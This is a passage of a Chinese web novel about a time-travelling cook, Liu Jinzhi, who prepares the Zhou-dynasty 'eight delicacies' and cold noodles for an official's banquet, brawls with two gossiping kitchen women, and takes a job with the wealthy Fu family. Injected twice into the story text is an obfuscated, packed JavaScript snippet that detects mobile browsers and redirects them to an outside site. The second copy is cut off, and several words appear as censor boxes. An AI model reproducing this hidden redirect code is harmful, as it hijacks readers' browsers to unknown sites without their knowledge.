见是这碗碟是要给柳金枝的,杏安喜得就快跳起来了。 不仅叉手见礼,还殷勤地要把碗碟送进膳房里去。 笑道:“柳姐姐,许久不见了。想必是食摊生意不错,这会儿都是司□□的厨司了。” 对于杏安,柳金枝倒敢说话一些,笑道:“还要多亏了杏安小哥给我介绍了应天爵,等我忙完这一阵,请小哥到我食摊上去吃夜市。” 二人一前一后进了膳房,傅霁景犹豫了一会儿,却也跟着进去了。 杏安问道:“柳姐姐,你做什么好吃的,要用八个厚胎黑釉?” “八味珍馐,又叫八珍。”柳金枝一笑。 杏安不明觉厉,问:“哪八珍?” 柳金枝尚未回答,站在一旁的傅霁景倒是温和开口:“想必是淳熬、淳母、炮豚、炮牂、捣珍、渍珍、熬珍、肝膋。” 没想到傅霁景居然愿意进膳房,不都说君子远庖厨么? 柳金枝略微惊讶。 这个傅二郎,怎么跟她刻板印象里的古代男人都不一样? 杏安讶然道:“这八道菜我听都没听过。” “你自然不会听过,因为江湖故老相传,这八珍乃是周天子所食之物,平常人难得一见。”柳金枝解释道。 周天子所用的八种美味,在中华美食史上赫赫有名。 作为对每一种美食都要钻研到底的厨子,柳金枝在现代就琢磨过这个八珍该怎么做。 现在刚好派上用场。 “难怪柳姐姐要用专门的盘子装呢。”杏安恍然大悟,“原来是这菜很有来历。” 厚胎黑釉瓷盘古朴厚重,其风格正好适合周天子那个以礼为重的时代。 好盘配好菜,这才叫相得益彰。 因为时间紧急,柳金枝也没跟傅霁景和杏安再客套,礼貌性将二人请到一边之后,就直接撸起袖子干活。 八珍第一味“淳熬”,就是熬肉酱,再把肉酱铺在白米饭上,做成盖浇饭。 其实也就是说,现代每一个点了盖浇饭外卖的朋友们,吃的都是古代的八珍之一。 这么一想,会不会觉得吃饭都有干劲多了? 柳金枝认真挑了块五花肉出来,手腕一转,闪着寒光的剔骨刀就将这块五花肉切成了肉沫。 其动作之干净利落,叫旁边的杏安忍不住瞪大双眼。 傅霁景没说话,却也是抿了抿唇瓣,一眨不眨地看着柳金枝动作,双眸亮亮的。 不过柳金枝没时间分他俩一点视线,切完猪肉后,她抿紧唇瓣,将花椒油倒入一口双耳铁锅之中,又吩咐丫头加大火力。 受到火舌的刺激,锅中花椒立即油滋滋作响。 更有油星噼里啪啦地从油锅里跳出来。 杏安离得近一些,当下被炸的吱哇乱叫,赶紧跳远了些。 再看柳金枝依旧面色平静,长柄圆勺子一舀,就将切好的猪肉沫舀来大半,洒入油锅当中。 也不知是不是火过大的原因,当肉沫入过的瞬间,灶眼口忽然“轰”一声,喷出一条高达三丈的火舌,几乎直冲房梁。 所有人都被吓的一跳。 柳金枝倒是面无表情地那拿一条湿毛巾扣住铁锅的耳朵,长柄勺一抡,就将铁锅翘起来,动作大开大合般翻炒。 猪肉沫就在这般火力和翻炒之下,被迅速炒出颜色。 再撒入一定量的葱花、蒜末,继续大火力翻炒。 一股鲜香的肉味儿开始在膳房内蔓延。 “铛铛铛——” 柳金枝敲了敲圆头锅铲,将之靠在灶台上,伸手取来调料瓶。 一勺豆瓣酱、一勺甜面酱、两勺生抽、一勺蚝油、一勺老抽再加一勺白糖,通通倒入火辣辣的锅中。 继续大力翻炒。 “减火!”柳金枝言简意赅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508442|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看火丫头立即点头应是,将一根根烧得正旺柴火抽出来,埋入灶台下头的草木灰中。 火势顿时减小不少,铁锅也稍显安静起来。 柳金枝趁机抽手出来,取来淀粉放入碗中,再加清水搅拌均匀,做成半碗淀粉水,一倾手,尽数倒入铁锅之中,用锅盖盖实。 “盯着火势,一直熬,熬到肉酱粘稠为止。”柳金枝嘱咐看火丫头。 丫头小鸡啄米般点头。 于是柳金枝转身再去准备第二道珍味“淳母”。 其实杏安有心和柳金枝搭话,但看柳金枝一道菜接着一道菜的做,忙的脚不沾地,也就歇了心思。 “二郎,咱们前头去吧。”杏安凑上去嗅了嗅傅霁景的衣袖,“正好前头有一处暖厅,二郎沐浴更衣一番,免得身上带了油烟味儿,在大人们面前失礼。” 傅霁景沉默片刻,拢袖正色道:“好,我马车上有一套墨色云纹的袍子,你替我拿来,我在暖厅等你。” 杏安点点头,一溜烟儿往外跑去了。 傅霁景则是往旁边挪了两步,找了处不妨碍他人的干净地方,站定之后,继续看柳金枝做菜。 柳金枝垂着眸准备吃食,神情专注认真,白嫩嫩的清丽小脸上,长而翘的睫毛乌黑浓密,偶尔一眨眼,宛若一只翩飞的蝴蝶。 傅霁景耳尖微红,不再去看她,只去瞧她手上动作。 却发现柳金枝纤手白皙,骨量匀称,修剪圆润完好的粉色指甲按在一块鲜牛肉上。 似是牛肉颇为滑手,她手上微微用力,手背显露出几条浅而细小的青筋,却也越发衬出她纤手骨节分明。 傅霁景忍不住眨了眨眼,再度把视线往下压。 可是再往下,就只能看见一口正在咕噜咕噜冒泡的汤锅了。 但傅霁景好似松了一口气一般,紧紧盯着汤锅不放。 柳金枝不经意抬头一看,不免疑惑又惊讶。 “唔……” 她思考片刻,取出一柄圆头锅铲,又从大蒸笼里盛了小半碗米饭,将之前熬好的浓稠熬淳肉酱盖在饭上,又烫了几颗硬挺小青菜做点缀,端着朝傅霁景走去。 看着被递到眼前,喷香的盖浇饭。 傅霁景一时没反应过来,迟疑道:“给我的?” “嗯。”柳金枝眉眼弯弯,笑容清亮,“饿了可以先垫垫肚子。” 傅霁景耳尖更红了。 伸手接过来,小声问:“你先给我盛一份,会不会不合规矩?” “当然不会。”柳金枝大大方方地一摆手,“膳房里头膳工最大。在不影响主人家用膳的情况下,是可以给自己人盛些饭食的。以前不少膳工都这样做过。” 自己人呐…… 傅霁景点点头,向来温和从容的脸有些发红。 柳金枝仰着头仔细看了看,关心道:“恩人,我都说膳房油烟重,不是你应该待的地方。你瞧,脸都憋红了。不如你还是去前厅吧。” “……哦。” 傅霁景慢吞吞地抱着盖浇饭往外走。 走两步,又回头看看。 可惜柳金枝又一头投进了如火如荼的做饭事业,青丝微乱,热汗顺着红扑扑的脸颊往下滑。 她却只抬起胳膊随意一擦,目光极为认真专注的盯着汤锅,眸光一瞬不错。 但是就是这样一个跳出于规矩礼仪之外的人,却有着他从未见过的鲜活动人。 26. 凉饼(冷面) 经过一整个上午的忙碌,柳金枝将菜单上的东西都做了个七七八八。 只有炮豚和炮牂还没好。 因为这两样一个是烤小猪,一个是烤羊羔。 据古籍记载,这两样东西要烤上个三天三夜才能入口。 但这也是夸张写法,其实烤两个时辰就够了。 只是两个时辰后,宴席怕是要接近尾声,这时候再上烤肉一类,怕是有些油腻了。 她想了想,还是决定做凉饼来解解腻。 凉饼就是冷面。 对,没错,就是现代东北菜馆里必定有的一道“东北冷面”。 据说当面食在汴京流行起来的时候,引得无数官员竞折腰。 其中,大名鼎鼎的奸臣蔡京甚至专门去学了这门做冷面的手艺。 学成之后,还动不动就邀请官员们上门吃他亲手做的冷面,以此拉拢人心。 有这位大奸臣在前做示范,柳金枝并不担心自己做的冷面会不受欢迎。 她取来司□□专供的精细面粉,倒入清水和面。 现下到了时辰,宾客们已经陆陆续续入府了。 宴席大概要持续两个时辰。 柳金枝现在揉面,再醒面,有把握在宴席结束之前把面饧到又透又光,这样才能抻出又圆又细又劲道的好面。 就在这时,外头负责摆盘送菜的丫头疾步走了进来。 “柳娘子,宾客们已经到齐落座,嬷嬷说可以上菜了。” 柳金枝点点头,扭头唤道:“团子,去核对菜名。” 早就准备好的花吉团点点头,立即快步走上来,引着一众端菜丫头去落雪院子里。 一面走,一面介绍:“这是娘子做的第一道菜,皮冻水晶脍……” 穿着青绿褙子的丫头们端着菜盘,莲步轻移,鱼贯而入般进入宴客厅。 此处廊外、廊下、厅内已经摆有十张檀木圆桌,桌边围着坐着七八名或年轻,或年长的郎君、相公,言笑晏晏,互相点头致意。 傅霁景坐在宴客厅内的宴客桌,左手边手边就是今日做主宴客的李家大郎君,主位坐着的就是李司正。 右手边坐着的是柴靖,他性情随意,倒不在意一般的繁文缛节。 在他人互相举杯致意时,唯有他百无聊赖般看向傅霁景,挑眉道:“霁景,你怎的换了一身衣裳?” “哦,这个啊……”傅霁景声音温和,“是我不小心弄脏了衣角。” “你还是这样讲究。”柴靖啧啧摇头,“衣食住行都要做到不染纤尘,但你怎么换了一身玄色衣裳。” “怎么?”傅霁景愣了一愣,“可是我坏了哪儿的规矩?” 他似乎没听说过司□□做寿的时候,不许人穿玄色衣裳啊。 岂料柴靖伸出一根手指头来摇一摇,道:“你才十八岁,衣裳的颜色却不是玄色,就是灰色,忒规规矩矩了,像个古板的老学究!就是老师及艾之年都不这么穿。” 似是没想到柴靖要说这个,傅霁景松了一口气的同时,不由笑道:“只是衣裳罢了……” “诶,可不能小瞧衣裳的作用。”柴靖打断他,指指自己,“钗华说了,见衣如见人。像我这般年轻的郎君,就该穿些鲜艳些的颜色。否则太过沉闷,叫人家一见就心生畏惧,反而不好处关系。” 钗华便是傅霁景的长姐。 不好处关系…… 不知是想到了什么,傅霁景顿时面露沉思。 “嗐,要我说,真该有个活泼开朗些的人带着你,免得小小年纪,就过得这么沉闷。”柴靖笑嘻嘻,“毕竟现在钗华只顾得上替我置办衣裳了。” 话语里倒有几分得意。 旁边的杏安听着,倒觉得柴姐夫净说些歪理。 可低头一看。 往日一向不理会自己服饰颜色的傅霁景,居然主动往柴靖那边凑了凑,满眼请教,似乎真想知道什么才是“能衬出郎君风采的颜色衣裳。” 杏安不由扶额。 恰好此时,有端菜的婢女此刻将那盘“皮冻水晶脍”呈了上来,放在桌心。 旁边有人奏乐,齐声道:“起箸!” 宋朝宴席都是有讲究的。 两遍酒,两遍菜,间错着来。 若是不小心缺了哪顿酒,哪筷菜,吃不到饿着肚子是小事,失了规矩就是大事了。 因此柴靖没再跟傅霁景说下去,只顺着唱和人的声音伸出筷子,夹了一筷子水晶脍到自己面前。 往日柴靖参加过很多次大府宴席,吃的好东西多了,嘴自然也养得叼些。 对于司□□的饭菜,虽然李兄夸奖了一番,但柴靖以为再好吃,也好吃不到天上有地下无的程度。 不过…… 柴靖仔细看着筷子里夹而不散的水晶脍。 这个卖相倒是不错,是御厨都比不上的手艺。 适逢唱喝人又高声道:“进——!” 柴靖张口吃了下去。 十张宴客桌上的大小官员老爷们也张口吃了下去。 刹那间,有人惊艳地瞪大了眼,有人微微顿住。 柴靖忍不住抖了一下,盯向桌心那盘还剩六七片的水晶脍,下意识就想去夹第二筷,但眼瞅着这么多人,又忍住了。 可往周边一看,不少官员、老爷还在十分斯文的细嚼慢咽,一双眼睛却紧紧盯着桌心,握着竹箸的手蠢蠢欲动,似乎知道这六七片水晶脍不够场上所有人分,他们得加紧下筷才能抢到一片似的。 柴靖深吸一口气,耳边注意着唱喝人的声音,紧张得一颗心脏扑通扑通跳,手心里出了好些汗! 下一秒:“二进——!” 桌上七八人同时下箸,一双手迅疾如闪电,矫健似游龙。你叉我,我推你,磕绊在瓷盘上,顿时一阵叮叮当当响。 柴靖抢到半片水晶脍,喜得两眼发亮,喜滋滋地用竹箸夹到自己面前,赶忙一口吞下。 其余稍逊一筹的官员不由得懊恼叹口气,羡慕般地悄悄看周边人吃的津津有味,不由咂咂嘴,好似又回味起水晶脍又凉又鲜的好味道来。 进完菜,就是进酒。 酒喝完,丫头们恭敬谨慎地小步上前,将桌心的空盘子撤下来,再补上一道新菜。 趁着这空档,柴靖对傅霁景道:“这位民间来的膳工娘子手艺当真不错!我估摸的钗华也爱吃,不如将这位娘子请到家里去?” 傅霁景眸光闪动,却道:“但柴大人先前已经拨了两位膳工来照顾阿姐了,再加上家里的两位,若是再请,规制就要越过亲王了,怕是不妥。” “这有什么难的?”柴靖满不在意,“我母亲近来要下庄子小住,正好缺一个膳工,咱把家里那四个拨一个出去,不就好了吗?” 傅霁景眼眸一亮,却垂眸温声道:“姐夫说的极是,自当依姐夫所言。” 此时又上了第二道菜,柴靖乐呵呵地回转过去,去盯那道“熬淳”了。 傅霁景倒是有些心不在焉,虽是也不耽误礼仪流程,目光却是频频往自己衣裳上瞟去。 所以他该换身什么颜色的衣裳呢…… 一晃天边金乌渐落,已是黄昏时分。 血色的残阳余晖落在庭院假山流水之上,仿佛给所有事物镀上了一层淡淡的红金之光。 而桌上的八味珍馐也已经上了六道,此时正是第七道炮豚。 被小火慢烤到表皮油焦酥脆的小猪崽趴在古朴的瓷盘之中,旁边摆放着小刀和辣椒小碗。 小猪腿肉的部分已经被片了出来,一片片渍渍冒油的肥厚腿肉靠在一起。 李司正夹起一片油光腿肉,避开胡须喂进嘴中,细细咀嚼,可以品出这鲜嫩有嚼劲的肉香之中,又蕴含着一丝极淡雅清新的果木香。 便知道这膳工是特意用了荔枝树的树干去烤这小猪,不由吃的极愉悦满足,眼睛都舒服地眯成了一条缝。 旁边有大人看着这厚胎黑釉盘,忍不住捋着胡须夸赞:“不错,用黑釉瓷盘装盛八珍,古朴厚重,颇有巧思。” 另有人符合道:“老夫也是许久没有尝到这般滋味了,怕只有那樊楼的膳工能与之相 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要知道偏远地区的县令一年的俸禄也不过十贯! 这一下,众人更是又惊叹又夸赞,又叹服又拍手,简直让李司正长足了脸面。 而远在膳房里头忙活的柳金枝还不知天降横财。 “阿嚏——!” 柳金枝揉揉鼻子,满面狐疑。 怎么?有谁在咒她不成? “柳娘子,你怎么了?”花吉团关心的问。 柳金枝摇摇头,道:“没事儿,可能是冷风吹的我激灵了一下。对了,菜名对的怎么样了?” 花吉团一笑:“前头已经把第七道菜吃的差不多了,现下就要上第八道。吃完后,就可以把凉饼端上去了。” 柳金枝闻言,走到面盆前掀开纱布细看。 发现正好面性已经发到饱满,就道:“既然如此,再去给我找十只薄胎白釉宽口瓷盘来。” 花吉团甜声应下:“诶,我这就去。” 柳金枝则将面盆倒扣于案板上,将里头的面团一点一点扒拉出来,再逐个揪拽成小块,然后放在手里搓拉抻长。 为了防止面团黏在案板上,她还要时不时地从袋子里搂些面粉出来,均匀撒在面团上,再揪住两头,把握力道,上上下下,摔打在案板上。 不一会儿,一整根粗面团就成了两股细面,紧接着两股变四股,四股变八股,八股变十六股…… 等到面被抻到又细又圆之时,她再利落掐断头,将长面甩进早就预备好的滚水当中。 柳金枝前世的时候最喜欢吃兰州拉面,不是因为兰州拉面的汤底有多香,而是因为兰州拉面的面食都是师傅亲手揉出来的。 这种面比之速食面更加劲道弹牙有嚼劲。 将心比心,柳金枝做面食时也会亲手揉面,再将面团簌簌地抻细。 既然要吃美食,自然就要做到极致。 面条下锅煮熟后,柳金枝用铁笊篱捞起来迅速过一遍凉水,浇上卤汁,铺上辣脚子、小酱瓜、两半煮熟剖开的鸡蛋,以及一把香菜等菜码儿。 就转手交给花吉团,叫她安排人火速端上桌。 冷面好吃,却容易坨。 所以方一做出来就入口是最好的。 但十桌人,有不下四十位宾客,这就要考验柳金枝的速度,以及她的待客情商了。 毕竟一碗一碗端出去,总有宾客在等待。 如何安抚尚未得到冷面的客人们呢? 柳金枝早就想好了办法,对着花吉团点点头。 花吉团就招手另外唤来两个小丫头,端起桌上一排放着盖的白瓷盘,如一条黑线般排着队送到了前头。 傅霁景看着放在自己面前的瓷盘,颇为疑惑地挑了挑眉。 其余宾客亦是不解。 直到丫头们将盖子掀开,众人才看见原来这白瓷盘中心装着一张字条。 打开一看,居然是个字谜? 27. 多拿赏钱 “草不平,草荡漾,草近波,草如浪。”有官员取来字条,将上头的谜面轻声念出,“嘶,要打一个字?” 吃宴席时猜字谜,这倒是新鲜。 “敢问这几位娘子,膳工娘子这是何意?”有人问。 那丫头福身一礼,恭敬道:“娘子说凉饼有限,只能做一份儿送一份儿。在座各位大人皆是龙章凤姿,不知谁先谁后,便只好以字谜做关,哪位大人胜了,便先奉上凉饼。” 这宴席上的全是文人,大家都玩惯了这类文字游戏,如今见到这位手艺极好的膳工娘子,竟也要同他们玩字谜,不由得哈哈大笑起来。 “好啊,既风雅有趣,又能消食解闷,这位膳工娘子好伶俐。” “便算我一个。” “也算我一个,让我先猜。” 众人颇为热情。 柳金枝既然已经做好了面,这字谜自然不会出的太难。 于是不消片刻,就有一位年轻郎君率先站起来道:“解析:“以草为首,草下有波,便是菠菜的‘菠’!膳工娘子第一个字谜倒是一点儿不难为人。” 丫头揭露谜底,正是菠字。 便福身一礼,送上凉饼。 年轻郎君得意一笑,拱手笑道:“哈哈,诸位可不要怪晚辈抢先这第一口凉饼。” 众人不由笑道:“且先让你一回,看看第二个字谜如何。” 又揭开一个盖子。 谜面是:“士出言后世民动,打一两字水果。” 这回倒是由一位年长些的相公抢了先,笑道:“桔子是也!” 正中谜底,抢到第二碗。 这谜面倒是不难,可这几十人一块儿抢,倒是难能率先作答,这可难为坏了柴靖。 好在他也不是走寻常路的人,憋了半天,想了个坏主意,凑近了傅霁景道: “霁景,你说这般争抢下去,咱俩猴年马月才能吃到?就是吃到,也不过一碗,始终不能痛快。” 傅霁景本是闷闷坐着,并不想参与热闹。闻得柴靖言论,倒是好笑似地抬起眼眸来,道: “姐夫想作何?” “我听杏安那小猢狲说,你与这位膳工娘子相熟?” “……唔,算是相熟。” 傅霁景含糊不清地应了一声。 “既是相识,那便算作自家人!”柴靖起了劲儿,“自古是肥水不流外人田,不如你去与她说说情,叫她出个难些的谜面,只把谜底告诉我。嘿嘿,我这不就吃到了吗?” 傅霁景呼出口气,摇摇头,道:“无规矩不成方圆。” 言下之意是不帮你走后门。 柴靖大郁闷。 府内宴席只办一天,到了散场时,李司正并主家夫人都出门送客。 一群文人互相拱手,热热闹闹出了门。 走时还在议论今晚的凉饼酸酸甜甜,弹牙劲道,十分好吃,又叹息不知以后还能不能在司正家吃到这般凉饼。 李司正闻言,越发得意,叫夫人亲自差人把酬金送去膳房。 柴靖与傅霁景对视一眼,皆是默契地往后院膳房走去。 与此同时,柳金枝正受一众丫头恭贺之时。 “柳娘子,我听说老爷今日因为膳食做得好,高兴的很,怕是要重重赏你呢。” “司正老爷向来出手大方,这回娘子怕是有的赚啦!” “娘子若日后还有门路进司□□主持四司六局,还请娘子多多提携我们,我们也好跟着沾光。” …… 柳金枝一时间笑得合不拢嘴。 然而一片恭贺声中,却有一两句不中听的酸言酸语。 “咱们四司六局哪个没出大力气?怎么就净赏她东西。” “你没见人家生得俏丽又年轻,哪儿是你我这等老妇可比的?这赏钱当然也拿的多一些咯。” “娘子说得对,我们还得去巴结巴结。免得现在只是赏钱多,将来指不定就成了府里头的姨娘了。” 柳金枝往人堆儿里看过去,却见说酸话的正是此前议论了她一句的钱娘子。 虽然此处是在司□□,不能轻易招惹是非,可膳房偏远,此时主家又在前头送客,柳金枝就没什么好忌讳的,走到钱娘子面前就是一声—— “呸!” 钱娘子被唾沫兜头喷了一脸,震惊得瞪大眼睛看向柳金枝。 柳金枝却指着她鼻子骂道:“嘴巴里头生虫的贼歪刺骨,偷在背后议论人。有本事的到老娘跟前儿来,老娘与你仔细理论!” 无论是古代还是现代,职场上最忌讳的就是当软包子。 一些人欺软怕硬,你以为自己是退让了一步,却不知是让别人以为你更好欺负。 柳金枝宁愿自己没素质,也不想把气往肚子里咽。 “好你个小贱//妇!莫不是已经攀上高枝儿了,怎敢如此猖狂!”钱娘子回过神来,怒得涨红了脸,破口大骂,“我□□你祖宗的!” 便要扑上来撕打。 柳金枝哪里会让她得逞,抬腿就是一计窝心脚,踹的这钱娘子脸色霎时变得碴腊焦黄,哎哟一声惨叫扑在地上。 与钱娘子一同议论的那位见状一转身想溜。 柳金枝直接上手就抓,扯住人的头发就死命往回拽。 那人叫得跟个杀猪般凄惨,却又叫柳金枝狠命一掼,登时跌了个八叉摔在地上。 身上的褙子、袄子、外衫都被脏雪浸湿了,插着的冠也歪歪斜斜散到一边,狂也似地大叫: “杀人啦!杀人啦!” 柳金枝可是敢操起刀和男人干架的泼辣子。 就是放在现代也是鼎鼎有名的刺头。 怎肯给这娘子颠倒黑白的机会? 当下抓过一把湿润黑泥巴土,直接攮进这人嘴里。 “叫叫叫!吃老娘一把土,到地下跟阎王爷叫去!”柳金枝一叠声的骂。 在场的众娘子目瞪口呆。 谁能想到柳金枝看起来温温柔柔,说话和和气气,动起手来居然这么彪悍?! 当下,一些以为柳金枝年轻,就想着占她便宜的娘子,都讪讪退了几步。 吃了这么大亏,钱娘子决计不肯罢手! 便拼了命似得从地上爬起来,扑上钱与柳金枝撕打成一团。 你扯我衣裳,我拽你头发。 可柳金枝力道太大,这钱娘子竟然按不住她,不由得大叫: “我□□你祖宗的!吴三姐,你还不来帮忙!” 那吴三姐才被塞了一嘴黑泥,连吐都来不得及呢,哪儿空得出手? 可怜钱娘子又被柳金枝按在地上撕打了一顿。 正打到酣时,耳边爆起一声雷喝:“住手!都住手!当我这司□□是什么地方?!” 众人扭头一瞧,只见管事嬷嬷一脸阴沉地站在廊下,身后还跟着两个年轻郎君。 柴靖呆呆地看着一身威猛,右手如鹰爪般死死抓住钱娘子发髻的柳金枝,结巴了好久,才喃喃感叹一句: “柳娘子真乃厨中花木兰也!” 傅霁景也微微瞪大眼眸,一双丹凤眼的睁得圆溜儿,却是一声不吭,好似已经被震惊到说不出话来。 柳金枝见傅霁景也在,不由尴尬咳了两声,但不妨碍她快速放开钱娘子的头发,快步走到嬷嬷面前梨花带雨般哭起来: “嬷嬷,你可算来了,请为奴做主啊!” 钱娘子与其余一人大呼不要脸。 正要起身怒骂,就听得嬷嬷冷笑一声,道: “明明是你动的手,却让我做主?你当我老婆子眼瞎吗?” 钱娘子等人忙不迭点头。 “是啊!打得咱俩个苦也!” 柳金枝却是抽抽噎噎地流下眼泪,道:“嬷嬷有所不知,此二人败坏司正大人与大姐儿清誉!” “明里暗里说奴得进司□□全凭色相,可荐我进来的是大姐儿!” “夫人管家森严,老爷清正廉明,大姐儿清清白白。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳金枝:…… 若不是知道这位二郎的人品,她都要以为这话是在故意阴阳她。 柴靖不由扶额。 他这个弟弟就是读书读迂了,怎么能在女子面前夸人家英武呢? 于是他赶忙岔开话题,把请柳金枝过府照顾傅钗华的事情说了一遍。 “我娘子孕中饮食不振,我们两家都十分忧心。柳娘子手艺高超,若有你在饮食上多加照顾,我娘子进食也会香些。” 傅霁景想说些什么,但抿抿唇,又改为了默默点头。 “原来是这件事,相公莫急,让奴想想。” 柳金枝面露犹豫。 诚然,这是个很不错的买卖。 傅霁景为人温和,家风想必也是如此。去了他家做菜,倒不用怕主家狗眼看人低,肆意刁难。 但再怎么温和,终究也是权贵之家,若稍有差错,后果怕是难以承担。 再说,司□□赚的银子也够霄哥儿走科举了,不用再横生枝节。 打定主意,柳金枝预备婉拒。 岂料柴靖笑眯眯地伸出三根手指:“若娘子愿意答应,傅家愿出三两银子的浇手费。” 柳金枝:!!! 什么?! 那可是三两!!! 她再挣挣,霄哥儿岂止能去科举,说不定她还能正式盘下一个小铺子开饭馆! “幸得恩人垂青,奴愿去。”柳金枝当即反口。 她这辈子就是死也要死在钱眼里。 傅霁景略微松了口气,这才开口,温声道:“明日我会派杏安来接娘子,子夜之前必然送娘子归家。” 来回有专人接送,又省了一笔驴车费用。 柳金枝喜得答应不迭:“好!” 28. 傅氏门庭 结束宴席后,柳金枝回到家。 天已经黑了,柳家门口却一左一右点了两盏悬挂红纸大灯笼。 灯笼下,柳霄把月牙裹在小毯子里,抱着人坐在门口。月牙的小脑袋靠在柳霄的肩膀上,脑袋一点一点的,似乎有了些睡意,但还没睡过去。而杜卫站在二人旁边与柳霄轻声说话,偶尔说到好笑处,两个少年就相视一笑。 虽然柳金枝忙碌了一天,但回家看见这般其乐融融之景,心还是暖暖的,身上的酸疼也无形中消散了不少。 她抖抖肩膀,迈着轻快步伐走过去,笑嘻嘻道:“怎么都凑在门口呀?” “阿姐!” 月牙看见她高兴地叫了一声,顿时睡意全消般挣扎着跑出柳霄怀抱,屁颠屁颠地扑进她怀里。 柳金枝捏了捏月牙的短胳膊短腿,摸到衣裳上尚附着着一层暖意,便知道柳霄倒是一点没让月牙冻着。 但她还是道:“这么晚了,怎么不把月牙抱进去睡?还拉着杜卫一起站在门口吹冷风,你们两个穿了厚衣裳没有?” 柳霄知道柳金枝是在关心他,心中一暖,笑道:“穿着了,都是阿姐买的新衣裳。” 杜卫道:“我也穿着了,还是今天少东家带着我去买的,可暖和了。” “阿姐,你这个时候了还不回来,我和哥哥还有杜哥哥都很担心,所以才在门口等你。” 月牙声音软软,环抱着柳金枝的小胳膊还带着淡淡的暖意,一直传递到柳金枝的心里去。 柳金枝忍不住失笑,也同样摸摸柳霄和杜卫的脑袋。 “东家,你忙了一天累坏了吧?我们给你留了膳食,快去吃吧。” 杜卫不好意思地红了下脸,让开一条通道。 柳霄也没说,却也笑开了,上前一步接过月牙,好让柳金枝空出手来。 “好,咱们一起。” 柳金枝一手挽一个,一家人乐呵呵地进了门。 家里的窝棚已经修好了,王志环那边也把定好的牲畜送了过来,往日里寂静的庭院中多出了许多嘎嘎、咯咯的声音。 虽然吵,却也热闹。 柳金枝蹲在门槛上,一边望着月光下属于自己的小型农场,一边扒着嘴里的饭,就觉得现在的日子真是格外有盼头。 特别是想到等会儿她要宣布什么,就更是心中火热。 于是她赶紧三两口吃干净碗中饭,召集了全家人一同围在了小桌子边。 借着摇曳的火光,柳金枝把今日赚得赏钱全拿出来。 留下五两银子专供柳霄买笔墨纸砚,上学束脩,剩余的全都存进高粱坛中。 月牙踮起脚,费力晃了晃坛子,惊喜道:“阿姐,又重了!” 又拉杜卫来听。 杜卫贴着耳朵,只听得坛子里的银钱撞击声叮铃作响,也不由得咧嘴傻笑。 柳金枝摸着坛子,笑眯眯道:“我又接了一个大户的单,那家娘家边姓傅,公家边姓柴,我便去傅家照顾他家的大姐孕中饮食。” “有大单子是挺好,可是阿姐要连着两天做大单子,会不会太累了?” 柳霄问。 “我本来挺累的,但一想到会有白花花的银子进账,我就什么辛苦都忍得了。更何况,你们猜傅家能给多少?” 柳金枝一脸神秘。 三个小孩对视一眼,然后跟拨浪鼓似的齐齐摇头。 “那可是三两!而且还不算赏钱。”柳金枝喜滋滋的,“做完这一单,再努努力,咱们就能盘下一间小铺子,开一个属于自己的饭馆!” “三两!”月牙听得两眼发亮,“好阔绰的人家啊,比之前总来摊子吃东西的潘相公都要大方。” 但家有美貌阿姐,柳霄不得不保有疑虑,担忧地问道:“阿姐,那个傅家家风正吗?” “嘶——” 柳金枝思及傅霁景讲礼貌讲到过分的姿态,点点头,道:“不是我说,我觉得他家正的发邪。” 柳霄噗嗤一笑,道:“阿姐你又说些奇奇怪怪的话了。” 但又明白柳金枝不是以前的柳金枝了,现在她说没事,那就肯定是没事,不过为防意外。 柳霄还是道:“虽是如此,但阿姐终究是年轻女子。明天我陪阿姐去,到了晚间,我再去接阿姐回来。” 柳金枝犹豫:“食摊很忙,现下攒够了银子,你又要预备着温书科举,若还要去接我,怕是顾不过来。” “没事儿,我心里有数。” 柳霄一笑,眉眼初现少年人的清朗俊逸。 柳金枝缓下神色,点头笑道:“好。” 当晚柳金枝照旧多预备一些吃食,又卤好该卤的卤味,留待杜卫和柳霄他们在夜市买卖。 第二日,就和柳霄一起坐上了由傅府派来的驴车。 驴车一路向南,大约一个时辰后才停。 瞧着头顶上气势非凡的匾额“朱雀门”,柳金枝不由咂舌。 她是没来过这里,但不妨碍她听说朱雀门附近的土地要比其他地方更贵,能在这里拥有一套属于自己的宅子,家中不说有十万贯,至少也能有万贯。 不过想虽是这样想,柳金枝却一直没看见柳家大门在哪儿。 她左右张望,只看见街道左边是开设的各色食摊、饭馆,右边是一道长达百米的灰墙。 墙中有一扇硕大的红漆双开木质大门,足有五米! 门楣镶嵌鎏金铜钉,两侧立青石雕狮,兽首威严,鬃毛如焰,仿佛眼放精光,威武不凡。门廊两侧延伸粉墙环护,墙顶覆黛瓦,墙根处点缀太湖石与垂丝绿柳,庄重中透出雅致。 古朴厚重之感,居然比司□□还要盛。 哪怕只是粗略打量,都能知晓这整座宅院必然占地面积甚广,气势恢宏。 柳金枝怔怔的盯着那扇朱漆大门看了许久,才艰难出声:“霄哥儿,你说该不会这一整条街都是傅府吧?” 柳霄默然片刻,缓缓点头:“……应该是。” 嚯! 要知道这汴京城寸土寸金,就柳家那间老破小租出去也能得不少银子,更何况还是地段更贵的城南? 一道墙就蜿蜒近百米,这府内面积怕不是堪比学校。 知道傅霁景家世不凡,但也没想到他家能有钱到这个程度啊,这怕是十万贯都打不住的财富啊。 车夫道:“这还不是府里的大门,大门在北边儿呢,咱们往南边儿来,这会子要进的是角门。” 然后就带着柳金枝和柳霄过去叩门。 角门倒是颇为低调朴素,只是一闪双开的木板门。 叩门后,门后很快就冒出来一个丫头打扮的少女,穿着一身嫩柳绿的衣裳,模样白净,像是个上等丫头。 